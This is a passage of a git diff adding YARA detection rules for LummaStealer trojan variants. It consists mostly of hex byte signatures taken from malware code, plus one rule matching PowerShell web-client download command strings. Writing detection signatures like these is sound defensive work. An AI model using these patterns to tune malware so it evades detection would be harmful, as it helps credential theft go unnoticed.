09 d1 21 f1 21 d3 89 da f7 d2 8d 14 53 42 21 ca 89 55 ?? 8b 4d ?? 80 c1 ?? 88 8c 38 ?? ?? ?? ?? 47 81 ff ?? ?? ?? ?? 75 } //5 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGLN_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGLN_MTB.yar new file mode 100644 index 0000000000..b8c666c174 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGLN_MTB.yar @@ -0,0 +1,22 @@ + +rule Trojan_Win32_LummaStealer_PGLN_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.PGLN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {33 d2 f7 75 ?? c0 e1 ?? 32 cb c0 e1 ?? 8a 04 3a c0 e8 ?? 32 c8 8b 45 ?? 88 0c 03 43 81 fb ?? ?? ?? ?? 72 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Trojan_Win32_LummaStealer_PGLN_MTB_2{ + meta: + description = "Trojan:Win32/LummaStealer.PGLN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {8b 85 54 ff ff ff 8b 8d 50 ff ff ff 8a 14 08 8b 85 54 ff ff ff 88 10 8b 85 54 ff ff ff 83 c0 01 89 85 54 ff ff ff 3b 85 4c ff ff ff 75 } //5 + $a_01_1 = {c1 e8 05 01 c1 66 89 ca 8b 45 84 66 89 10 8b 45 94 03 45 94 89 45 94 8b 45 88 33 45 8c 89 45 8c eb } //5 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGLS_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGLS_MTB.yar new file mode 100644 index 0000000000..54bd981a83 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGLS_MTB.yar @@ -0,0 +1,22 @@ + +rule Trojan_Win32_LummaStealer_PGLS_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.PGLS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {03 c7 f7 75 ?? 8b 45 ?? 8a 04 02 32 c1 8b 4d ?? 32 01 8b 4d ?? 88 04 31 46 81 fb ?? ?? ?? ?? 0f 82 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Trojan_Win32_LummaStealer_PGLS_MTB_2{ + meta: + description = "Trojan:Win32/LummaStealer.PGLS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_03_0 = {0f b6 44 34 ?? 56 50 e8 ?? ?? ?? ?? 83 c4 ?? 88 44 34 ?? 46 83 fe ?? 75 } //5 + $a_03_1 = {0f b6 44 1c ?? 53 50 e8 ?? ?? ?? ?? 83 c4 ?? 88 44 1c ?? 43 83 fb ?? 75 } //5 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGLT_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGLT_MTB.yar new file mode 100644 index 0000000000..65d668e30a --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGLT_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_Win32_LummaStealer_PGLT_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.PGLT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0b c8 c1 e2 ?? 8b 44 24 ?? 33 cd 33 6c 24 ?? 0b fa 89 4c 24 ?? 33 fe 8b 4c 24 ?? 83 e8 ?? 33 74 24 ?? 83 c1 ?? 83 6c 24 ?? ?? 89 4c 24 ?? 89 44 24 ?? 0f 85 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Trojan_Win32_LummaStealer_PGLT_MTB_2{ + meta: + description = "Trojan:Win32/LummaStealer.PGLT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f be f9 8d 5b ?? 69 f7 ?? ?? ?? ?? c1 ce ?? 8b d6 8b ce c1 ea ?? c1 e1 ?? 33 d1 8a 0b 33 d6 69 d2 ?? ?? ?? ?? 33 55 ?? c1 ca ?? 81 c2 ?? ?? ?? ?? 8d 14 92 33 d7 33 d0 89 55 ?? 84 c9 75 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGL_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGL_MTB.yar new file mode 100644 index 0000000000..9d20628b55 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_PGL_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.PGL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {09 ca 21 f2 89 d1 f7 d1 83 e1 ?? 83 f2 ?? 8d 0c 4a 88 8c 04 ?? ?? ?? ?? 40 3d } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGTP_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGTP_MTB.yar new file mode 100644 index 0000000000..0d32969f47 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGTP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_PGTP_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.PGTP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {89 74 04 e6 e6 ea f1 38 e8 3c ?? 02 8d ?? ?? ?? ?? a1 ?? ?? ?? ?? 84 c0 74 ?? af e1 ?? 24 ?? 8b c7 48 80 38 ?? 5d e0 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PH_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PH_MTB.yar index cd27a32034..220328645c 100644 --- a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PH_MTB.yar +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PH_MTB.yar @@ -8,4 +8,17 @@ rule Trojan_Win32_LummaStealer_PH_MTB{ condition: ((#a_03_0 & 1)*5) >=5 +} +rule Trojan_Win32_LummaStealer_PH_MTB_2{ + meta: + description = "Trojan:Win32/LummaStealer.PH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_03_0 = {0f b6 c0 8b 04 85 ?? ?? ?? ?? b9 ?? ?? ?? ?? 33 0d ?? ?? ?? ?? 01 c8 40 } //3 + $a_03_1 = {80 38 ef 75 ?? 80 78 01 bb 75 ?? 80 78 02 bf } //1 + $a_03_2 = {0f b6 5d 00 53 e8 ?? ?? ?? ?? 83 c4 04 85 c0 74 ?? 45 90 90 90 90 90 90 90 90 90 90 90 90 } //1 + $a_01_3 = {0f b6 d2 c1 e1 05 81 e1 e0 7f 00 00 31 d1 0f b7 94 4e 72 92 02 00 89 c7 81 e7 ff 7f 00 00 66 89 94 7e 72 92 01 00 89 da 42 66 89 84 4e 72 92 02 00 45 } //3 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_01_3 & 1)*3) >=4 + } \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PI_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PI_MTB.yar new file mode 100644 index 0000000000..358e5f693d --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PI_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_Win32_LummaStealer_PI_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.PI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {b0 40 c3 b0 3f c3 89 c8 04 d0 3c 09 77 06 80 c1 04 89 c8 c3 89 c8 04 bf 3c 1a 72 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win32_LummaStealer_PI_MTB_2{ + meta: + description = "Trojan:Win32/LummaStealer.PI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {89 d3 c1 eb 0c 80 e3 3f 80 cb 80 88 5e 01 c1 ea 06 80 e2 3f 80 ca 80 88 56 02 83 e1 3f 89 ca 83 f2 3f 83 f1 7f 09 d1 f6 d1 88 4e 03 b9 04 00 00 00 01 ce e9 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PKV_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PKV_MTB.yar new file mode 100644 index 0000000000..de87168cd7 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PKV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_PKV_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.PKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 c0 0f b6 c9 0f af c8 8a c1 c0 e8 04 32 04 13 32 c1 32 44 24 12 88 04 13 42 8b 44 24 ?? 40 89 54 24 14 89 44 24 28 81 fa 00 60 05 00 0f 82 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_RH_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_RH_MTB.yar index cfd702fe6a..9b46084065 100644 --- a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_RH_MTB.yar +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_RH_MTB.yar @@ -1,5 +1,17 @@ rule Trojan_Win32_LummaStealer_RH_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.RH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 03 00 00 " + + strings : + $a_01_0 = {40 00 00 42 2e 69 6d 70 6f 72 74 73 00 10 00 00 00 10 06 00 00 10 00 00 00 10 06 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 } //1 + $a_01_1 = {50 45 00 00 4c 01 05 00 fe 3b 2b 68 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0e 00 00 de 04 00 00 92 00 00 00 00 00 00 40 77 02 00 00 10 } //2 + $a_03_2 = {55 89 e5 53 57 56 81 ec 24 08 00 00 8b 4d 08 8d 05 44 23 ?? ?? 89 85 d4 fa ff ff 0f b7 01 89 85 08 fe ff ff 8a 8d b8 fe ff ff 88 8d b4 fe ff ff c6 45 c4 8d c6 45 c5 9b c6 45 c6 42 c6 45 c7 43 31 c9 83 f9 04 73 4c } //5 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2+(#a_03_2 & 1)*5) >=8 + +} +rule Trojan_Win32_LummaStealer_RH_MTB_2{ meta: description = "Trojan:Win32/LummaStealer.RH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_RJP_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_RJP_MTB.yar new file mode 100644 index 0000000000..804f8df734 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_RJP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_RJP_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.RJP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {64 a1 30 00 00 00 8b 40 0c 8b 40 0c 8b 00 8b 00 8b 40 18 89 c6 68 f0 fc 54 a1 50 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_RPM_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_RPM_MTB.yar index 70792a153b..9662c55e7e 100644 --- a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_RPM_MTB.yar +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_RPM_MTB.yar @@ -8,4 +8,16 @@ rule Trojan_Win32_LummaStealer_RPM_MTB{ condition: ((#a_01_0 & 1)*1) >=1 +} +rule Trojan_Win32_LummaStealer_RPM_MTB_2{ + meta: + description = "Trojan:Win32/LummaStealer.RPM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 03 00 00 " + + strings : + $a_03_0 = {40 00 00 e0 2e 72 73 72 63 00 00 00 ?? ?? 00 00 ?? ?? 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 } //10 + $a_01_1 = {49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 00 00 64 00 65 00 66 00 4f 00 66 00 66 00 2e 00 65 00 78 00 65 00 } //10 + $a_01_2 = {53 6f 66 74 77 61 72 65 5c 57 69 6e 4c 69 63 65 6e 73 65 } //1 Software\WinLicense + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*1) >=21 + } \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_RPN_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_RPN_MTB.yar index 80fafeaebe..892cbfe311 100644 --- a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_RPN_MTB.yar +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_RPN_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_Win32_LummaStealer_RPN_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.RPN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {20 20 20 20 20 20 20 20 b5 be 04 00 00 10 00 00 00 2c 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 cd 1f 00 00 00 d0 04 00 00 10 00 00 00 30 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 38 be 00 00 00 f0 04 00 00 1c 00 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 08 32 00 00 00 b0 05 00 00 1a 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win32_LummaStealer_RPN_MTB_2{ meta: description = "Trojan:Win32/LummaStealer.RPN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 00 " diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_RPP_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_RPP_MTB.yar new file mode 100644 index 0000000000..7a935a6a2e --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_RPP_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_LummaStealer_RPP_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.RPP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 00 " + + strings : + $a_01_0 = {20 20 20 00 20 20 20 20 00 a0 05 00 00 10 00 00 00 4e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 24 03 00 00 00 b0 05 00 00 02 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 05 00 00 02 00 00 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 } //1 + $a_01_1 = {20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 4a 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 24 03 00 00 00 90 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_STG.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_STG.yar new file mode 100644 index 0000000000..74b167a6f2 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_STG.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_LummaStealer_STG{ + meta: + description = "Trojan:Win32/LummaStealer.STG,SIGNATURE_TYPE_PEHSTR_EXT,67 00 67 00 06 00 00 " + + strings : + $a_01_0 = {f1 d5 00 fa 4c 62 cc f4 0f 0b } //100 + $a_01_1 = {74 24 2e 88 54 24 2f 66 c7 44 24 30 00 00 8b 54 } //2 + $a_01_2 = {3d 8b 04 24 b9 13 00 80 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 } //1 + $a_01_3 = {d1 a0 75 ad 22 ab 52 37 67 50 13 8c e7 61 5a c5 } //1 + $a_01_4 = {ce 88 84 0c 7a 37 52 4d 41 4e 81 f9 ba c8 ad b2 } //1 + $a_01_5 = {45 00 57 69 6e 48 74 74 70 57 72 69 74 65 44 61 74 61 } //1 E楗䡮瑴坰楲整慄慴 + condition: + ((#a_01_0 & 1)*100+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=103 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_STH_.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_STH_.yar new file mode 100644 index 0000000000..63f83cb404 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_STH_.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_LummaStealer_STH_{ + meta: + description = "Trojan:Win32/LummaStealer.STH!!LummaStealer.STH,SIGNATURE_TYPE_ARHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_01_0 = {74 24 2e 88 54 24 2f 66 c7 44 24 30 00 00 8b 54 } //2 + $a_01_1 = {3d 8b 04 24 b9 13 00 80 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 } //1 + $a_01_2 = {d1 a0 75 ad 22 ab 52 37 67 50 13 8c e7 61 5a c5 } //1 + $a_01_3 = {ce 88 84 0c 7a 37 52 4d 41 4e 81 f9 ba c8 ad b2 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_SUPC_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_SUPC_MTB.yar new file mode 100644 index 0000000000..4f56802be6 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_SUPC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_SUPC_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.SUPC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {20 20 20 00 20 20 20 20 00 90 0a 00 00 10 00 00 00 7a 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 84 58 4e 00 00 a0 0a 00 00 10 28 00 00 8a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 59 00 00 02 00 00 00 9a 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_SYPC_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_SYPC_MTB.yar new file mode 100644 index 0000000000..303e1d2114 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_SYPC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_SYPC_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.SYPC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {20 20 20 20 00 d0 05 00 00 10 00 00 00 d0 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 e0 05 00 00 02 00 00 00 e0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 e2 05 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_WFL_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_WFL_MTB.yar new file mode 100644 index 0000000000..f02119c35a --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_WFL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_WFL_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.WFL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 0c 01 31 c1 81 f1 65 31 c8 04 89 4c 24 04 8b 44 24 04 04 0f 8b 4c 24 ?? 8b 14 24 88 04 11 8b 04 24 83 e8 ff 89 04 24 eb } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_YA_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_YA_MTB.yar new file mode 100644 index 0000000000..985a92d533 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_YA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_LummaStealer_YA_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.YA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 } //1 net.webclient + $a_00_1 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_2 = {2e 00 6e 00 61 00 6d 00 65 00 } //1 .name + $a_00_3 = {76 00 61 00 6c 00 75 00 65 00 } //1 value + $a_00_4 = {7c 00 77 00 68 00 65 00 72 00 65 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 } //1 |where-object + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_YTK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_YTK_MTB.yar new file mode 100644 index 0000000000..a917287578 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_YTK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_LummaStealer_YTK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.YTK!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {c7 44 24 14 10 d1 d2 d3 } //1 + $a_01_1 = {1e 01 de 46 21 d6 01 d7 47 01 f6 29 f7 21 d7 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZAK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZAK_MTB.yar new file mode 100644 index 0000000000..2b46627c47 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZAK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZAK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZAK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {83 7c 24 24 10 8b 44 24 10 73 04 8d 44 24 10 8b 54 24 20 6a 00 8d 4c 24 10 51 52 50 a1 68 ad 58 00 50 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZA_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZA_MTB.yar new file mode 100644 index 0000000000..eececac793 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZA_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZA!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {6a 2c a5 bb 2b 97 3d ba 89 d4 65 8e cb 3b db e5 39 1d 90 c4 de 39 6f b3 cd 63 bd a5 a8 85 f0 4c 98 aa 97 1b 50 d5 05 e6 c3 39 f3 33 66 76 b9 e2 bf 28 27 75 5b be b0 7d 98 4a b3 f2 d4 46 3b ff 19 27 c8 15 8a 4f 07 22 ec cc 7b 67 39 16 1f 0e 83 cf 84 6f 7a e4 47 5b 60 b3 3d 91 d4 b2 44 ea 74 5a df ee a0 8d 5c 6e c9 14 34 7c d1 b5 62 7d be a2 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZBK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZBK_MTB.yar new file mode 100644 index 0000000000..cb1a114841 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZBK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZBK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZBK!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {c7 44 24 04 19 25 22 23 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZB_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZB_MTB.yar new file mode 100644 index 0000000000..a1ae027952 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ZB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_ZB_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ZB!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {40 cb 10 66 32 c5 10 66 78 ce 03 66 1e 6b 10 66 03 88 04 66 12 af 0f 66 88 83 03 66 bc c8 0e 66 87 69 10 66 d6 c5 10 66 67 90 05 66 00 46 01 66 ef 60 10 66 b8 49 01 66 0d 16 11 66 70 17 04 66 d4 d9 01 66 51 e2 00 66 d4 68 10 66 d3 a7 0f 66 6b a7 0e 66 3e da 01 66 6d d7 01 66 af 0e 0f 66 5a ae 0f 66 a0 d4 0e 66 3a 16 04 66 bb c4 0e 66 f1 d9 00 66 34 c8 0e 66 23 31 0f 66 a8 c6 10 66 23 a3 00 66 b3 68 